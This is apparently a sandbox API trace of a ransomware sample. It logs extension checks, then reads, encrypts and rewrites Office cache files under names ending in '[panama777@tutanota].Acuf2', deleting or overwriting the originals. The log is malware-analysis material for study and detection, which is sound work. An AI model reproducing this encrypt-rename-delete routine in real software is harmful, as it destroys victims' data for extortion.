	[0048.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0048.942] lstrlenW (lpString=".7z") returned 3
	[0048.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0048.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.942] lstrlenW (lpString=".dbf") returned 4
	[0048.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0048.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.942] lstrlenW (lpString=".1cd") returned 4
	[0048.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0048.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.942] lstrlenW (lpString=".jpg") returned 4
	[0048.942] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.943] lstrlenW (lpString=".doc") returned 4
	[0048.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString=".docx") returned 5
	[0048.943] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0048.943] lstrlenW (lpString=".pdf") returned 4
	[0048.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString=".xls") returned 4
	[0048.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString=".xlsx") returned 5
	[0048.943] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0048.943] lstrlenW (lpString=".ppt") returned 4
	[0048.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.943] lstrlenW (lpString=".zip") returned 4
	[0048.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString=".rar") returned 4
	[0048.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0048.943] lstrlenW (lpString=".bz2") returned 4
	[0048.943] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0048.943] lstrlenW (lpString=".7z") returned 3
	[0048.943] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0048.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.943] lstrlenW (lpString=".dbf") returned 4
	[0048.943] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0048.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.943] lstrlenW (lpString=".1cd") returned 4
	[0048.943] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0048.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.943] lstrlenW (lpString=".jpg") returned 4
	[0048.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0048.944] lstrcmpiW (lpString1=".MST", lpString2=".Acuf2") returned 1
	[0048.944] lstrlenW (lpString="ShellUI.MST") returned 11
	[0048.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.944] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=3584) returned 1
	[0048.944] CloseHandle (hObject=0x1a4) returned 1
	[0048.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020
	[0048.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.944] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.944] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0048.945] GetLastError () returned 0x0
	[0048.945] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xe00, lpOverlapped=0x0) returned 1
	[0048.949] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe10, lpOverlapped=0x0) returned 1
	[0048.950] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.950] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.950] SetEndOfFile (hFile=0x1e0) returned 1
	[0048.950] CloseHandle (hObject=0x1e0) returned 1
	[0048.950] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.950] SetEndOfFile (hFile=0x1a4) returned 1
	[0048.951] CloseHandle (hObject=0x1a4) returned 1
	[0048.951] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.951] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1
	[0048.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.952] lstrlenW (lpString=".doc") returned 4
	[0048.952] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1
	[0048.952] lstrlenW (lpString=".docx") returned 5
	[0048.952] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1
	[0048.952] lstrlenW (lpString=".pdf") returned 4
	[0048.952] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1
	[0048.952] lstrlenW (lpString=".xls") returned 4
	[0048.952] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1
	[0048.952] lstrlenW (lpString=".xlsx") returned 5
	[0048.952] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1
	[0048.952] lstrlenW (lpString=".ppt") returned 4
	[0048.952] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1
	[0048.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.952] lstrlenW (lpString=".zip") returned 4
	[0048.952] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1
	[0048.952] lstrlenW (lpString=".rar") returned 4
	[0048.952] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1
	[0048.952] lstrlenW (lpString=".bz2") returned 4
	[0048.952] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1
	[0048.952] lstrlenW (lpString=".7z") returned 3
	[0048.952] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1
	[0048.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.952] lstrlenW (lpString=".dbf") returned 4
	[0048.952] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1
	[0048.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.953] lstrlenW (lpString=".1cd") returned 4
	[0048.953] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1
	[0048.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.953] lstrlenW (lpString=".jpg") returned 4
	[0048.953] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1
	[0048.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.953] lstrlenW (lpString=".doc") returned 4
	[0048.953] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1
	[0048.953] lstrlenW (lpString=".docx") returned 5
	[0048.953] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1
	[0048.953] lstrlenW (lpString=".pdf") returned 4
	[0048.953] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1
	[0048.953] lstrlenW (lpString=".xls") returned 4
	[0048.953] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1
	[0048.953] lstrlenW (lpString=".xlsx") returned 5
	[0048.953] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1
	[0048.953] lstrlenW (lpString=".ppt") returned 4
	[0048.953] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1
	[0048.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.953] lstrlenW (lpString=".zip") returned 4
	[0048.953] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1
	[0048.953] lstrlenW (lpString=".rar") returned 4
	[0048.953] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1
	[0048.953] lstrlenW (lpString=".bz2") returned 4
	[0048.953] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1
	[0048.953] lstrlenW (lpString=".7z") returned 3
	[0048.953] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1
	[0048.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.954] lstrlenW (lpString=".dbf") returned 4
	[0048.954] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1
	[0048.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.954] lstrlenW (lpString=".1cd") returned 4
	[0048.954] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1
	[0048.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74
	[0048.954] lstrlenW (lpString=".jpg") returned 4
	[0048.954] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1
	[0048.954] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0048.954] lstrlenW (lpString="AccessMUI.msi") returned 13
	[0048.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0048.962] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2517504) returned 1
	[0048.962] CloseHandle (hObject=0x170) returned 1
	[0048.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020
	[0048.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.962] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0049.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0049.699] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0049.699] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.699] ReadFile (in: hFile=0x170, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.730] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.730] ReadFile (in: hFile=0x170, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.740] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0049.740] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.740] ReadFile (in: hFile=0x170, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.808] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.808] WriteFile (in: hFile=0x170, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0050.078] SetEndOfFile (hFile=0x170) returned 1
	[0050.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f637d8
	[0050.082] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.082] WriteFile (in: hFile=0x170, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.084] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.084] WriteFile (in: hFile=0x170, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.090] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.090] WriteFile (in: hFile=0x170, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f637d8 | out: hHeap=0x4f0000) returned 1
	[0050.093] CloseHandle (hObject=0x170) returned 1
	[0050.093] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.094] lstrlenW (lpString=".doc") returned 4
	[0050.094] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0050.094] lstrlenW (lpString=".docx") returned 5
	[0050.094] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0050.094] lstrlenW (lpString=".pdf") returned 4
	[0050.094] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0050.094] lstrlenW (lpString=".xls") returned 4
	[0050.094] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0050.094] lstrlenW (lpString=".xlsx") returned 5
	[0050.094] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0050.094] lstrlenW (lpString=".ppt") returned 4
	[0050.094] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0050.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.094] lstrlenW (lpString=".zip") returned 4
	[0050.094] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0050.094] lstrlenW (lpString=".rar") returned 4
	[0050.094] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0050.094] lstrlenW (lpString=".bz2") returned 4
	[0050.094] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0050.094] lstrlenW (lpString=".7z") returned 3
	[0050.094] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0050.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.094] lstrlenW (lpString=".dbf") returned 4
	[0050.094] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0050.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.095] lstrlenW (lpString=".1cd") returned 4
	[0050.095] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0050.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.095] lstrlenW (lpString=".jpg") returned 4
	[0050.095] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0050.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.095] lstrlenW (lpString=".doc") returned 4
	[0050.095] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0050.095] lstrlenW (lpString=".docx") returned 5
	[0050.095] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0050.095] lstrlenW (lpString=".pdf") returned 4
	[0050.095] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0050.095] lstrlenW (lpString=".xls") returned 4
	[0050.095] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0050.095] lstrlenW (lpString=".xlsx") returned 5
	[0050.095] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0050.095] lstrlenW (lpString=".ppt") returned 4
	[0050.095] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0050.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.095] lstrlenW (lpString=".zip") returned 4
	[0050.095] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0050.095] lstrlenW (lpString=".rar") returned 4
	[0050.095] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0050.095] lstrlenW (lpString=".bz2") returned 4
	[0050.095] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0050.095] lstrlenW (lpString=".7z") returned 3
	[0050.095] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0050.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.096] lstrlenW (lpString=".dbf") returned 4
	[0050.096] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0050.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.096] lstrlenW (lpString=".1cd") returned 4
	[0050.096] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0050.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0050.096] lstrlenW (lpString=".jpg") returned 4
	[0050.096] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0050.096] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0050.096] lstrlenW (lpString="PidGenX.dll") returned 11
	[0050.096] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0050.096] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1463568) returned 1
	[0050.096] CloseHandle (hObject=0x170) returned 1
	[0050.096] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020
	[0050.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0050.097] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.097] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0050.097] GetLastError () returned 0x0
	[0050.097] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1
